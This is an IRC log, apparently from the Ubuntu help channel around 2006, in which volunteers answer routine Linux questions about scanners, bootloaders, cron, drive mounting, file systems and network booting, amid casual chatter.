[08:54] <YukiCuss> G0SUB considered harmful. (>_>)
[08:54] <Robokop> Frogzoo: for as far as i know it is just in the same partition
[08:54] <G0SUB> YukiCuss: heh ...
[08:54] <rob138> frogzoo, thanks
[08:55] <Frogzoo> solid_liq: message the bot & keep it off channel
[08:55] <katrus> Good deal.
[08:55] <Robokop> Frogzoo: what should i do with the /dev
[08:56] <Frogzoo> Robokop: *penny drops* /dev is recreated on boot - so it's a non issue
[08:58] <rob138> how do i uninstall a svn?
[08:58] <Frogzoo> Robokop: ok, so you've copied over / to another partition on the same disk? all you need do is from the original OS, update /boot/grub/menu.lst for the new partition & run 'sudo update-grub'
[09:00] <nbound> i cant get my scanner to work after configuring sane to detect it
[09:00] <nbound> :(
[09:00] <Robokop> Frogzoo: ke that's what i've done wrong then (did it from the new one)
[09:00] <Robokop> Frogzoo: thankes
[09:00] <Robokop> *-e
[09:00] <nbound> it is meant to work with the canon_pp backend
[09:00] <rob138> how do i remove a svn i installed with .sh script?
[09:01] <nbound> Xsane just says it cant find it =/
[09:02] <Chodder> !tell me about win32codecs
[09:02] <Frogzoo> Chodder: please /msg ubotu & keep it off channel
[09:02] <Chodder> Frogzoo, ya
[09:03] <Hysty> nbound, what model scanner is it?
[09:03] <nbound> Canon Canoscan N640P
[09:03] <GTX> join #ubuntuforums
[09:03] <GTX> oosp
[09:03] <GTX> forgot the / sorry
[09:03] <Hysty> nbound, very similar to mine I have a N340P that I cant get to work
[09:04] <nbound> BUT ive just figured out that it will work... YAY
[09:04] <nbound> run xsane as root
[09:04] <nbound> :D
[09:04] <actking> try
[09:05] <actking> try
[09:05] <nbound> try what?
[09:05] <pvd> What are the commands for ubotu in a private /msg
[09:05] <pvd> ?
[09:05] <nbound> pvd, same as normal
[09:06] <actking> i am a newer for ubuntu
[09:06] <actking> i just want to try ubuntu xhat
[09:06] <Madpilot> pvd, same as normal, just leave the ! off them
[09:06] <pvd> Is there a list of those anywhere? I tried !tell me !keyword but it keeps saying speak no english try ...
[09:06] <pvd> ohhh
[09:06] <pvd> ok
[09:06] <tritium> nbound: is your user not in the scanner group?
[09:06] <Madpilot> !tell pvd about list
[09:06] <nbound> i dont know
[09:07] <Madpilot> nbound, in a terminal, type "groups"
[09:07] <tritium> nbound: type "groups", and look for it
[09:07] <pvd> THanks
[09:07] <nbound> yeah im in scanner
[09:07] <nbound> i should be im the only user
[09:07] <tritium> nbound: you shoudn't need to run xsane as root, or with sudo
[09:08] <nbound> im guessing my parrallel port needs su/root access
[09:09] <Frogzoo> nbound: check the group access on the port - root's probly not required
[09:09] <nbound> well when i said i ran it as root i mean su
[09:09] <nbound> i use the words interchangably
[09:09] <tritium> nbound: see the docs in /usr/share/doc/xsane regarding parallel port scanners/root
[09:09] <nyk2005> what packages do I need to compile? it complains about stdlib bot being available...
[09:09] <Angel_Dex> Hello all
[09:10] <tritium> nyk2005: build-essential
[09:10] <Frogzoo> nbound: su is root - as you say, same thing - but su shouldn't be requried
[09:10] <nyk2005> thanks!
[09:10] <Angel_Dex> why is it icewms menu is more extent then gnomes?
[09:10] <nbound> tritium, which fine in here?
[09:10] <nbound> file*
[09:11] <tritium> nbound: nbound xsane.ROOT for one
[09:11] <nbound> oops
[09:11] <nbound> didnt see that
[09:11] <nbound> lol
[09:12] <nbound> hmmm, i cbf doing what it suggests
[09:12] <nbound> ill just take the risk of running root
[09:13] <nbound> which isnt that big anyway
[09:13] <nbound> anywayz im off thanx all
[09:24] <ribbo> hi, I would like to get a offline copy of wiki.ubuntu.com. Where can I ask for help?
[09:24] <rnd_null> i have a video problem, every so often my screen goes mostly screwey (colorful static) and i have to reboot to get it to look right again...sometimes all lose all video, even after a reboot and have to clear my bios to get video back...help?
[09:25] <Frogzoo> ribbo: wget - careful which options you use
[09:25] <ribbo> I have tried wget -r --wait=10 ...
[09:25] <ribbo> Frogzoo: only gets about 2700 KB
[09:26] <ribbo> Frogzoo: of wiki.ubuntu.com
[09:26] <ribbo> Frogzoo: so was hoping to get a dump of the db
[09:27] <Chodder> Argh! For some reason "make" isn't a command although I have it installed
[09:27] <Frogzoo> Chodder: make is a command
[09:27] <Chodder> Ya it should be
[09:27] <Chodder> but it isnt
[09:27] <Frogzoo> ribbo: dunno 3meg might be right - have you tried browsing the mirror?
[09:28] <Chodder> Frogzoo, hmm I guess it wasn't installed after all :)
[09:28] <YukiCuss> Chodder, try sudo apt-get install build-essential
[09:28] <n3m3s1s> REEBOOOOT X!
[09:28] <Frogzoo> Chodder: no...
[09:28] <Chodder> YukiCuss, I'm doing everything manually
[09:28] <YukiCuss> Chodder, why? o_O
[09:28] <Chodder> All the build essentials one by one
[09:29] <painkiler> hey guys
[09:29] <Chodder> I dont know, because its late and I have nothing better to do
[09:29] <YukiCuss> Well, keep it in mind whenever something starts to complain. :)
[09:29] <painkiler> could i have a little help wirting a script?
[09:29] <YukiCuss> painkiler, what does it need to do?
[09:29] <painkiler> i need the script to activate at 12am
[09:29] <Frogzoo> painkiler: -> man bash :p
[09:30] <Frogzoo> painkiler: man cron
[09:30] <rnd_null> how do i close x with out turning the computer off?
[09:30] <Chodder> speaking of scripting, whats the full command to make "wtf" for instance make a program run
[09:30] <n3m3s1s> DONE!
[09:30] <Chodder> I had it going before my system crapped out
[09:30] <YukiCuss> rnd_null, stop GDM, then ctrl+alt+bakcspace.
[09:30] <painkiler> and tell terminal to sudo apt-get dist-update
[09:30] <YukiCuss> dist-upgrade?
[09:30] <Frogzoo> Chodder: alias wtf='/very/long/path/name'
[09:30] <Chodder> Frogzoo, no
[09:30] <YukiCuss> painkiler, try typing `at 12am' at a console.
[09:30] <painkiler> same thing
[09:30] <rnd_null> yukicuss, what does gdm stand for (i'm new -on day1.5)
[09:30] <Chodder> using function
[09:31] <ribbo> Frogzoo: just checked, its definately not right
[09:31] <Chodder> I forget the string I had
[09:31] <YukiCuss> Chodder, interestingly enough, wtf is a real program.
[09:31] <shadeofgrey> okay guys heres a question
[09:31] <Chodder> YukiCuss, ya it is
[09:31] <YukiCuss> rnd_null, GNOME Desktop Manager.
[09:31] <Chodder> It's a acronym thing for bsdgames
[09:31] <kenichi> can anyone tell me where to find the xservers error log?
[09:31] <YukiCuss> rnd_null, do sudo /etc/init.d/gdm stop; then press CTRL-Alt-Backspace. careful, X won't come back up. If you want it to, log in on a console and do `sudo /etc/init.d/gdm start'
[09:31] <shadeofgrey> how do i download and read pdf files that ive bought from amazon.com in ubuntu?  i already downloaded the official acrobat reader from syn. but how do i enable drm protection for .pdf books?
[09:31] <YukiCuss> kenichi, /var/log/Xorg0.log
[09:31] <kenichi> thanks
[09:32] <YukiCuss> kenichi, /var/log/Xorg.0.log **
[09:32] <rnd_null> yukicuss, thank you
[09:32] <Chodder> Frogzoo, im looking for the function string so I can have wtf start cowsay with the words "What the fsck?"
[09:32] <fek> moin
[09:32] <YukiCuss> Chodder, it actually just uses the first line of a man page to tell you about anything.
[09:32] <Frogzoo> kenichi: /var/log/xorg.log.0
[09:32] <pvd2006> Anyone know why the torrent program included with ubuntu downloads so slowly?
[09:32] <YukiCuss> pvd2006, check your firewall.
[09:32] <Chodder> YukiCuss, man bash?
[09:33] <YukiCuss> Chodder, alias wtf='cowsay "What the fsck?"'
[09:33] <Chodder> Argh
[09:33] <kenichi> thanks Frogzoo
[09:33] <Chodder> I want it to be function
[09:33] <YukiCuss> Put it into your ~/.bashrc or something.
[09:33] <Chodder> its like
[09:33] <Chodder> function () or some crap
[09:33] <YukiCuss> Chodder, why do you want it to be that way?
[09:33] <YukiCuss> What gain do you get out of it being a function?
[09:34] <Chodder> ummm
[09:34] <YukiCuss> If you really want,;
[09:34] <YukiCuss> function wtf { cowsay "What the fsck?"; }
[09:34] <Chodder> That doesnt work like that
[09:34] <Frogzoo> Chodder: function wtf { do stuff... }
[09:34] <YukiCuss> Chodder, see `help function'
[09:34] <Chodder> ok that works
[09:34] <painkiler> is there flash for linux, or something equivilant?
[09:35] <YukiCuss> !flash
[09:35] <ubotu> Installation & troubleshooting for Flash is covered in https://wiki.ubuntu.com/RestrictedFormats
[09:35] <guest1142412075_> na ihr fucker
[09:35] <YukiCuss> guest1142412075_, was?
[09:35] <guest1142412075_> yuki lova ya
[09:35] <Chodder> painkiler, flash the player or flash the development program
[09:35] <guest1142412075_> wacken?
[09:35] <YukiCuss> interassant.
[09:35] <painkiler> development
[09:35] <guest1142412075_> what`
[09:36] <guest1142412075_> yukicuss bisse ccool?
[09:36] <Chodder> painkiler, wine will run flash I'm pretty sure if setup correctly
[09:36] <YukiCuss> guest1142412075_, ich weiss nicht! tut mir leid.
[09:36] <painkiler> eh
[09:36] <Chodder> I'm not sure if flash is for linux though
[09:36] <painkiler> to much work
[09:36] <guest1142412075_> woher kommse?
[09:36] <YukiCuss> guest1142412075_, australien? mein deutsch ist schlecht.
[09:36] <Chodder> This machine compiles way to damn slow
[09:36] <guest1142412075_> merkt man
[09:37] <YukiCuss> guest1142412075_, sollst du mit Ubuntu helfen?
[09:37] <guest1142412075_> du kanns nix
[09:37] <guest1142412075_> yukicuss hatn kleinen
[09:37] <Madpilot> !de
[09:37] <Frogzoo> Chodder: do what I just did - move /tmp to tmpfs - huge difference
[09:37] <ubotu> Deutschsprachige Hilfe fuer Probleme mit Ubuntu und Kubuntu finden Sie in den Kanaelen #ubuntu-de resp. #kubuntu-de
[09:37] <YukiCuss> ich verstehen nicht.!
[09:37] <YukiCuss> verstehe*
[09:37] <guest1142412075_> du verstehst wenn berhaupt
[09:37] <guest1142412075_> raff ma wat
[09:38] <Chodder> Frogzoo, good idea I didnt think of that, I always used to do that when doing LFS builds
[09:38] <guest1142412075_> hasse nen yarak?
[09:38] <YukiCuss> !?
[09:38] <ubotu> I don't know, try searching at http://ubuntu.cc.com.au/, YukiCuss
[09:38] <guest1142412075_> lass ma treffen!
[09:38] <Madpilot> guest1142412075_ & YukiCuss: English here please, you can use #ubuntu-de for German. Thanks
[09:38] <YukiCuss> guest1142412075_, bitte schau ber.
[09:38] <guest1142412075_> hinterm groen busch links ok?
[09:38] <YukiCuss> (Madpilot: I am telling him to see above. o___O)
[09:39] <joakim123> yukicuss hey se!
[09:39] <YukiCuss> joakim123, bitte geh zu #ubuntu-de.
[09:39] <joakim123> was das?
[09:39] <YukiCuss> bis*
[09:39] <joakim123> bock  auf sm?
[09:40] <smellican> dont hate on zee germans :P
[09:40] <joakim123> wacken`
[09:40] <joakim123> so hab pause machtat ihr lutscher
[09:40] <YukiCuss> o_O
[09:41] <Madpilot> YukiCuss, what was that all about?
[09:41] <YukiCuss> Madpilot, I really haven't got a clue. He was saying all sorts of strange things.
[09:41] <G0SUB> I installed a custom kernel and now usplash doesn't work at boot up ... how do i fix this?
[09:42] <mikeo1> anyone know where awstats is installed by apt?
[09:42] <Madpilot> YukiCuss, heh. My German is limited to politely ordering coffee or beer, so I didn't catch any of it :P
[09:42] <Fujitsu> I can speak a little :_
[09:43] <YukiCuss> Madpilot, mine isn't even past high school level.
[09:43] <mikeo1> how can i search for a file in ubuntu
[09:43] <mikeo1> over ssh
[09:43] <G0SUB> mikeo1: find
[09:43] <G0SUB> mikeo1: locate
[09:43] <YukiCuss> mikeo1, eg. find /where/you/want/to/find/it -iname what_you_want_to_find
[09:43] <YukiCuss> mikeo1, locate some_file
[09:44] <Chodder> Where can I get the plugin for mplayer browser support?
[09:44] <mikeo1> locate -i doesnt work
[09:44] <YukiCuss> mikeo1, just `locate foo'
[09:44] <mikeo1> got the find to work
[09:45] <YukiCuss> mikeo1, you might have to run updatedb as root some time.
[09:46] <Frogzoo_away> YukiCuss: updatedb runs out of cron/anacron - not sure which
[09:46] <YukiCuss> Frogzoo_away, noted; I was merely suggesting that he do it manually if locate wasn't working.
[09:46] <YukiCuss> As a method of shooting troubles.
[09:46] <Frogzoo> YukiCuss: ah i c
[09:49] <kenichi> i've got a problem on dapper with my xserver and my nvidia driver. everytime i boot, i get this error message from the xserver: http://paste.ubuntu-nl.org/10325. and somthing about wrong version number between kernel module and driver. then i stop gnome and do "modprobe -r nvidia" and after that i can restart gnome without any problem... can anyone help me?
[09:49] <Madpilot> kenichi, try #ubuntu+1 for Dapper issues
[09:50] <kenichi> ok thanks
[09:50] <shadeofgrey> has anybody gotten drm protected ebooks to work from amazon.com?
[09:50] <HedgeMage> shadeofgrey, I tend to avoid DRM-infected files.
[09:55] <ge_gef> hello
[09:55] <shadeofgrey> hEDGEMAGE:  all i wanted was to use ebooks offered by amazon
[09:55] <shadeofgrey> i didnt realize that meant you were infecting your system?
[09:55] <shadeofgrey> how does that work?
[09:56] <netgrabber> Hi have a question where are the differences between ubuntu breezy and ubuntu server edition? is it just a modified cd template?
[09:56] <YukiCuss> netgrabber, such a thing exists?
[09:57] <YukiCuss> shadeofgrey, it doesn't, he was just being amusing.
[09:57] <replacement_kill> can i set up ltsp on a widows network with windows dhcp??
[09:57] <HedgeMage> shadeofgrey, no, I didn't mean that it infects your system with something... I was being derogatory toward DRM
[09:57] <ge_gef> ubuntu is an old edition
[09:57] <Madpilot> netgrabber, the server iso has no GUI/X
[09:57] <YukiCuss> ge_gef, ..?
[09:57] <netgrabber> http://releases.ubuntu.com/ubuntu-server/
[09:57] <ge_gef> and its comfortable to use
[09:57] <ge_gef> yes its true
[09:58] <ge_gef> but i dont hve choice
[09:58] <J_element> whats a good application like jbuilder for ubuntu ?
[09:58] <netgrabber> Madpilot: so an ubuntu-minimal + apache and so one ist the same as ubuntu server?
[09:58] <YukiCuss> J_element, try looking into eclipse? (at a guess?)
[09:58] <J_element> hrm thx
[09:59] <Madpilot> netgrabber, as far as I know, yeah. I haven't looked closely at what's in the server ISO, though
[09:59] <HedgeMage> YukiCuss, I'm a "she" by the way :)
[09:59] <Fujitsu> replacement_kill, yes/.
[09:59] <YukiCuss> HedgeMage, apologies!
[09:59] <YukiCuss> HedgeMage, sometimes you get into the mindframe where most people here are male ..
[09:59] <J_element> any other suggestions ?
[10:00] <HedgeMage> YukiCuss, I know, I don't take offense.
[10:00] <shadeofgrey> so reading protected pdfs on ubuntu is impossible?
[10:00] <Fujitsu> replacement_kill, yes, you can.
[10:00] <shadeofgrey> that sucks!
[10:00] <Madpilot> shadeofgrey, check the forums, or complain to whoever sold you the things
[10:00] <HedgeMage> YukiCuss, I find it particularly funny when it happens in #gentoo or some other hardcore-geek chan... everyone spends the next 20 minutes agog at having a female in the chan
[10:00] <HedgeMage> YukiCuss, I sit and laugh =D
[10:01] <YukiCuss> HedgeMage, hahah!
[10:01] <YukiCuss> You're also a Freenode staff member, yes?
[10:01] <J_element> whats a good application like jbuilder for ubuntu ?  other than eclipse ?
[10:01] <HedgeMage> YukiCuss, Yep!
[10:01] <YukiCuss> Neat. ^^
[10:01] <HedgeMage> YukiCuss, thanks :)
[10:01] <shadeofgrey> Hedg:  does that mean you have to do lots of really arguous work for them?
[10:01] <shadeofgrey> whats it really mean to be a staff member?
[10:02] <Madpilot> HedgeMage & shadeofgrey: #ubuntu-offtopic for chat, please.
[10:02] <nOypI_aKo> hello everybode
[10:02] <john__> hey what is this kinda chat for
[10:02] <john__> help with ubuntu
[10:02] <YukiCuss> john__, yep.
[10:02] <john__> or just to talk or what
[10:02] <YukiCuss> Mostly support.
[10:02] <john__> ok
[10:02] <Zonny> hello
[10:03] <blindboygrunt> is a female geek a geekette?
[10:03] <nOypI_aKo> is there a way that ican have a drive for LSI U320 in my Ubuntu 5.10
[10:03] <Zonny> where can I send a report about a possible bug in dapper's i386 kernel?
[10:03] <Madpilot> Zonny, https://launchpad.net/distros/ubuntu/+bugs
[10:03] <Zonny> thanks
[10:03] <Madpilot> you'll need to get a login, but that's all automatic
[10:03] <YukiCuss> nOypI_aKo, see http://www.linuxquestions.org/questions/showthread.php?threadid=128710 for more info.
[10:04] <nOypI_aKo> thanks
[10:05] <john__> well can anyone tell me how to mount my 2nd hard drive im using ubuntu 5.04 i know i have to mount it to my first hard drive but im pretty much a novist with ubuntu but i want to learn bc this shi* is cool i think its better than xp or just windows in general
[10:06] <john__> any takers
[10:06] <john__> if not its cool
[10:06] <Madpilot> !+mount
[10:06] <ubotu> it has been said that mount is the command to add partitions to your filesystem - for full instructions see https://wiki.ubuntu.com/InstallingANewHardDrive For mounting windows partitions, see !windowsdrives or http://tinyurl.com/bly9f
[10:06] <Madpilot> john__, see what ubotu just posted ^^^
[10:06] <murphy_slaw> I'm trying to convert my Breezy box to use an LVM device for the root filesystem
[10:06] <ge_gef> hello
[10:06] <ge_gef> hello everyon
[10:07] <YukiCuss> ge_gef, evening [here] !
[10:07] <murphy_slaw> i've built an initrd with LVM included
[10:07] <john__> so if its already ubuntu format i go to the first one you listed
[10:07] <john__> im talking about the format of the 2nd hard drive
[10:07] <Madpilot> john__, just do the mounting part of that 1st URL
[10:07] <john__> ok
[10:07] <john__> thanks
[10:08] <murphy_slaw> but the kernel hangs looking for the root filesystem, which is JFS, because it "can't find an ext3 filesystem on dev dm-0"
[10:08] <Madpilot> john__, and it's far easier to mount it some where in your own home directory
[10:09] <john__> and also do you all know if i can install an external iomega cdrw drive with a usb 2 connector
[10:09] <replacement_kill> Fujitsu, but how do set my win dhcp so that the client thats boot from it knows where the exact location of the ltsp server. I've read from the net, that we need to set the option 67 and option 17 of win DHCP, but what to set...??
[10:09] <Fujitsu> Hmm.
[10:09] <Fujitsu> I haven't done it for a while.
[10:09] <Fujitsu> What are those two options?
[10:09] <YukiCuss> Last time would've been at BHHS?
[10:09] <replacement_kill> option 67 is bootfile, option 17 is rootpath
[10:09] <Madpilot> john__, I've never used a USB CD drive, but it should automount when you put a CD in it
[10:10] <YukiCuss> highvolt1ge, shouldn't that be highvolt4ge? :)
[10:10] <Fujitsu> Yes, Yuki, at BHHS.
[10:10] <john__> ok i havent even tryed to hook it up but ill try and let you know how it goes if your interested
[10:10] <john__> thanks again
[10:11] <replacement_kill> what i have done is install ubuntu breezy, install ltsp-server and do the set up...then i went to my client and boot from the floopy provided by the rom-o-matic...but when the client boot, on the LOOKING UP DHCP..it just keep lookign forever
[10:11] <Fujitsu> replacement_kill, I think I've got it... Just wait a sec...
[10:12] <Fujitsu> 66 and 67 are the ones you want.
[10:12] <Fujitsu> 66 wants to be the hostname/IP of the LTSP server.
[10:13] <Fujitsu> 67 wants to be the full path to the boot image.
[10:13] <replacement_kill> okey
[10:13] <YukiCuss> All these options wanting to be things ..
[10:14] <replacement_kill> okwy...i'll try that one now...FUjitsu. can i have ur email address, in case u dont mind me asking a few more question on this matter?? :)
[10:14] <studente> ciao
[10:14] <Fujitsu> OK, replacement_kill.
[10:14] <Fujitsu> tanarrifujitsu@optusnet.com.au
[10:15] <john__> yeah just hooking it up and putting a cd in works
[10:15] <YukiCuss> fg
[10:15] <YukiCuss> .. oops.
[10:15] <Fujitsu> Hahhaha
[10:15] <YukiCuss> Sairensu!
[10:15] <replacement_kill> thanx alot fujitsu...
[10:15] <Fujitsu> That's fine, replacement_kill.
[10:16] <Madpilot> john__, nice when stuff just works, isn't it? :P
[10:16] <highvolt1ge> YukiCuss: i keep loosing my connection :/
[10:17] <YukiCuss> highvolt1ge, anything indicating why?
[10:18] <YukiCuss> Aah.
[10:18] <highvoltage> YukiCuss: bad wireless, i think
[10:18] <YukiCuss> It's like that whenever I go into my room to hide from my family. :)
[10:19] <YukiCuss> Bad wireless connection = repeated disconnects.
[10:20] <goblimey> hello, linux beginner here, tried to do full backup as per the "heliode" method with tar.  All seemed fine until i tried restore which failed.  v5.10.  Any help appreciated
[10:20] <aroticoz> how can I connect to a smpt server from here? with the terminal?
[10:23] <peterretief> is there a good place to get wireless device drivers and howtos for ubuntu
[10:24] <YukiCuss> !wifi
[10:24] <ubotu> [wifi]  https://wiki.ubuntu.com/WiFiHowto
[10:24] <YukiCuss> peterretief, ^^^ see.
[10:24] <peterretief> thanks yes !!
[10:24] <YukiCuss> You're welcome. :)
[10:24] <Fujitsu> !botsnack
[10:24] <ubotu> thanks fujitsu :)
[10:25] <ge_gef> hello
[10:25] <YukiCuss> Hi ge_gef.
[10:25] <Fujitsu> Hi again, ge_gef.
[10:25] <MistaED> hey what is the original ugly metal theme name gnome used to use before clearlooks?
[10:25] <peterretief> has anyone seen the usb access points - wireless
[10:25] <aroticoz> how can I connect to a smpt server from here? with the terminal?
[10:25] <YukiCuss> aroticoz, how do you mean?
[10:26] <aroticoz> well in windows I just used telnet
[10:26] <highvoltage> MistaED: crux
[10:26] <aroticoz> what do I use in linux?
[10:26] <peterretief> do you mean setup your smtp server?
[10:26] <YukiCuss> aroticoz, you can use telnet if you want.
[10:26] <Fujitsu> TrTelnet or nc for raw TCP access.
[10:26] <ge_gef> hello
[10:26] <ge_gef> hows ur day?
[10:27] <Fujitsu> *Telnet.
[10:27] <john__> with the 2nd hard drive when i did the first comand it shows this
[10:27] <YukiCuss> ge_gef, evening here. :)
[10:27] <john__> john@ubuntu:~$ sudo lshw -C disk -xml
[10:27] <john__> Harware Lister (lshw) - A.01.03
[10:27] <john__> usage: lshw [-options ...] 
[10:27] <john__>         -version      print program version
[10:27] <john__>         -html         output hardware tree as HTML
[10:27] <john__>         -xml          output hardware tree as XML
[10:27] <john__>         -short        output hardware paths
[10:27] <k31th> ffs
[10:27] <ge_gef> im sorry
[10:27] <YukiCuss> john__, use pastebin.
[10:27] <YukiCuss> !pastebin
[10:27] <ge_gef> i thought its day
[10:27] <john__> pastebin?
[10:27] <YukiCuss> ubotu sends you instructions.
[10:27] <ubotu> YukiCuss: Huh? Try searching at http://ubuntu.cc.com.au/
[10:27] <Fujitsu> !pastebin
[10:27] <YukiCuss> Fujitsu, it sends to you.
[10:27] <john__> as in put that at the end of the first command
[10:27] <YukiCuss> No, see what ubotu said to you.
[10:27] <MistaED> highvoltage: cheers, do you know if using crux reduces ram or anything like that when compared to a pixmapped clearlooks?
[10:27] <YukiCuss> (other message)
[10:28] <highvoltage> MistaED: i'm sure crux is a bit lower, although there are other themes like 'simple' which are more ideal for increasing performance
[10:29] <MistaED> alright, cool
[10:29] <peterretief> highvoltage, hello
[10:29] <highvoltage> hi peterretief
[10:32] <jubei> hello:)
[10:32] <YukiCuss> Spliiiiit.
[10:33] <ge_gef> joined the room
[10:38] <john__> ok well i think i did it right but yeah i have had to reinstall ubuntu 3 freakin times and i already have the 2nd hard drive formmated for ubuntu and when i try to do the first command is says this    http://paste.ubuntu-nl.org/d10326 and if i try to skip that step and go to another hoping it will work then it will say like cannot open hdd ,,,it just wont work
[10:39] <jubei> hi guys, is there any way to read to and write from an NTFS disk in linux? i found something on google but says free trial :/
[10:39] <YukiCuss> jubei, there's only experimental support. I wouldn't.
[10:40] <Zonny> its extremely experimental, and has been so for years. try again on the next centyry ;)
[10:40] <jubei> hmmmm...
[10:40] <jubei> ok so what filesystem should I format an external hard drive, that I want to move back and forth between linux and windows?
[10:40] <Zonny> vfat
[10:41] <YukiCuss> jubei, FAT32.
[10:41] <Zonny> hm
[10:41] <jubei> isn't vfat the one that doesn't allow files bigger than 2GB?
[10:41] <iskywalker> hi! i have a problem with ssh-add and ubuntu (it works else where), when i did hit enter after typing my passphrase the cmmand line doesnt come again, it hangs...
[10:41] <Zonny> in windows therw's external support for ext2
[10:41] <jubei> there is?
[10:41] <YukiCuss> Zonny, just as experimental, though. No write support.
[10:41] <jubei> ah
[10:41] <iskywalker> jubei, vfat isnt really good (after some time  it crashes)
[10:42] <jubei> i don't need to write, just to read from windows :] 
[10:42] <iskywalker> try the .dll of ext2 for windows :)
[10:42] <YukiCuss> jubei, if you only want to read, ntfs will even do.
[10:42] <jubei> READ from windows, write from linux
[10:42] <YukiCuss> jubei, ooh! in that case, ext will work!
[10:42] <iskywalker> try the ext2 .dll
[10:42] <YukiCuss> You can use explore2fs to grab stuff. Use ext2ifs to see it as a drive like normal.
[10:43] <rendinel> ciao
[10:43] <YukiCuss> ciao!
[10:43] <jubei> explore2fs? what's that , is it free?:)
[10:43] <iskywalker> can someone help me ?
[10:43] <YukiCuss> jubei, it is. Google it. :)
[10:43] <jubei> thanks.
[10:43] <Zonny> I had this same problem befor but then I replaced my only Windows installation with ubuntu and now my external hd uses reiserfs ;)
[10:43] <rendinel> c'e qualcuno di bologna?
[10:44] <YukiCuss> rendinel, can't understand you! ><
[10:44] <iskywalker> if there is someone from bologne
[10:44] <finn_> jjjj
[10:44] <Madpilot> !it
[10:44] <ubotu> Vai su #ubuntu-it o su #kubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie!
[10:45] <lehmama>  got an ALERT! /dev/ram does not exist -- during dvd_dapper installation
[10:45] <lehmama> any help here?
[10:46] <iskywalker> pls, i do really need this ssh-add stuff
[10:46] <kemik> iskywalker:  what do you mean?
[10:47] <john__> does any one know how to help with my problem
[10:47] <Loevborg> Anyone using OOo 2.0.1 packages and having problems w/ hyphenation?
[10:47] <concept10> I need help!  Im on dapper, cant start firestarter and it seems that something is blocking my ports for samba. Suggestions?
[10:47] <Loevborg> I can't seem to get hyphenation to work.
[10:47] <PuMpErNiCkLe> !patience
[10:48] <Zonny> I just don't know, john__ :(
[10:48] <iskywalker> i type: ssh-agent $SHELL then ssh-add and when i hit enter it dost return to command-line, it stays there, no more shell or anything
[10:48] <kemik> concept10:  sure samba is actually running
[10:48] <kemik> ?
[10:48] <john__> ok well thanks for trying
[10:48] <kemik> iskywalker:  why ?
[10:49] <concept10> kemik, yes, i started it myself
[10:49] <iskywalker> that is what is want to know!
[10:49] <iskywalker> hwy with ubuntu and with others it doesnt happen (debian, suse, gentoo)
[10:49] <ubotu> The people in this channel are volunteers. Please be aware there are a lot of questions, but only maybe few who might know the answer for you. Please be patient. Your attitude may determine their willingness to help you.
[10:49] <kemik> iskywalker:  what are you expecting it to  do ?
[10:50] <iskywalker> to return me a shell again, so i can continue to work
[10:50] <kemik> concept10:  make sure it's running by doing "pgrep samba"
[10:50] <YukiCuss> john__, what you do is, you take a sack full of kittens, and a hammer, then you ..
[10:50] <lehmama> no help with my " ALERT! /dev/ram does not exist" problem here?
[10:51] <john__> you know,i think that will work
[10:51] <YukiCuss> :)
[10:51] <Zonny> lehmama: I googled about it and as much as I understood german, I did not find any help
[10:52] <john__> i have another tuffy how do you keep your roughter from showingup as a dns server in network settings
[10:52] <john__> bc it messes up my internet
[10:52] <john__> and when i delete it it keeps comming back every time
[10:52] <concept10> kemik, its running: root     10644  0.0  0.4   9248  2108 ?        Ss   03:33   0:00 /usr/sbin/smbd -D
[10:53] <lehmama> Zonny: yh i googled too, but got no results out of it ... so i decided to ask here
[10:53] <john__> and on the search domain it says domain_not_set.invalid
[10:53] <iskywalker> lehmama: is the message like http://forum.infojama.pl/viewtopic.php?t=73935
[10:53] <kemik> concept10:  iptables --list
[10:53] <kemik> concept10:  and see if youre doing something bad in your iptable-settings
[10:54] <lehmama> thats the one i guess: ALERT! dev/ram does not exist! Dropping to a shell!
[10:55] <kemik> gtg
[10:55] <Zonny> hm
[10:55] <Zonny> try creating such "device"
[10:55] <john__> router*
[10:55] <iskywalker> well we need now only to know polnish :)
[10:56] <john__> i have dyslesia it messes me up.........all the time
[10:56] <john__> and i suck at spelling so that dosent help
[10:56] <iskywalker> lehmama: which version of ubuntu do you have?
[10:57] <Zonny> lehmama: try creating such "device" and make an ext2 partition and mount it to /dev/ram
[10:57] <lehmama> its the new kubuntu_dapper dvd
[10:57] <YukiCuss> 
[10:57] <iskywalker> ther is enough /dev/ram?
[10:57] <lehmama> 1GB
[10:57] <iskywalker> try ln -s /dev/ram1 /dev/ram
[10:57] <lehmama> and then?
[10:58] <iskywalker> the ? was for [1-9] 
[10:58] <iskywalker> start again
[10:58] <iskywalker> i meant [0-9]  sry
[11:00] <lehmama> but its during installation boot ... so the link will be gone after reboot
[11:00] <goblimey> anyone here good with partimage on systemrescuecd.  I need a working backup method (tar failed me).  recommendations welcomed TY
[11:00] <raptorx> hey
[11:00] <raptorx> anyone here have Xgl working on flight 5
[11:00] <raptorx> ?
[11:00] <Mika_i> yeap
[11:00] <LoCusF> !skype
[11:00] <ubotu> skype is probably http://wiki.ubuntu.com/SkypeHowto/ Breezy deb: http://wiki.ubuntu.com/SeveasPackages/
[11:01] <raptorx> Nvidia or ATI?
[11:01] <Mika_i> nvidia
[11:01] <iskywalker> lehmana: installation boot?
[11:01] <raptorx> damn
[11:01] <raptorx> i cannot get it running at all
[11:01] <raptorx> right not it says:
[11:01] <lehmama> iskywalker: yh, its my installation ... harddisk is still empty
[11:02] <raptorx> it is running on display 93
[11:02] <iskywalker> lehmama: installation of ubuntu?
[11:02] <iskywalker> lehmama: do you have the maschine connected to internet?
[11:03] <Narada> Is there a way to turn off the beeping by various applications in ubuntu?
[11:03] <iskywalker> i instllaed this maschine with just 3 floppy disks (doenloaded 1,5 gig from internet though)
[11:03] <danboid> I've installed breezy x86 on a A64 for video conversion- do I use the i686 kernel or the k7? Do I use mencoder i586, k7 or 'custom' (whats that?)
[11:03] <Narada> Like terminal and mysql query browser.
[11:04] <john__> does any one know how to install a 2nd video card on ubuntu 5.04 its not a nvidia video card
[11:04] <iskywalker> Narada:maybe gnome-settings?
[11:04] <john__> im sorry for bugging yall but this chat is helpfull
[11:04] <Frogzoo> Narada: sys -> prefs -> sound    & disable sound for events?
[11:04] <Narada> Well I am using KDE.
[11:05] <Narada> Kubuntu I think.
[11:05] <Narada> Is it because there's pc beeper support in the kernel?
[11:05] <Narada> For that matter where is the kernel?
[11:05] <Narada> I.e. the kernel sources.
[11:06] <Rawplayer> RE
[11:06] <Frogzoo> RE?
[11:06] <Mika_i> ?
[11:06] <Hoxzeri> ?/
[11:06] <iskywalker> Narada: you could recompile the kernel or in kde-control-center look for sounds
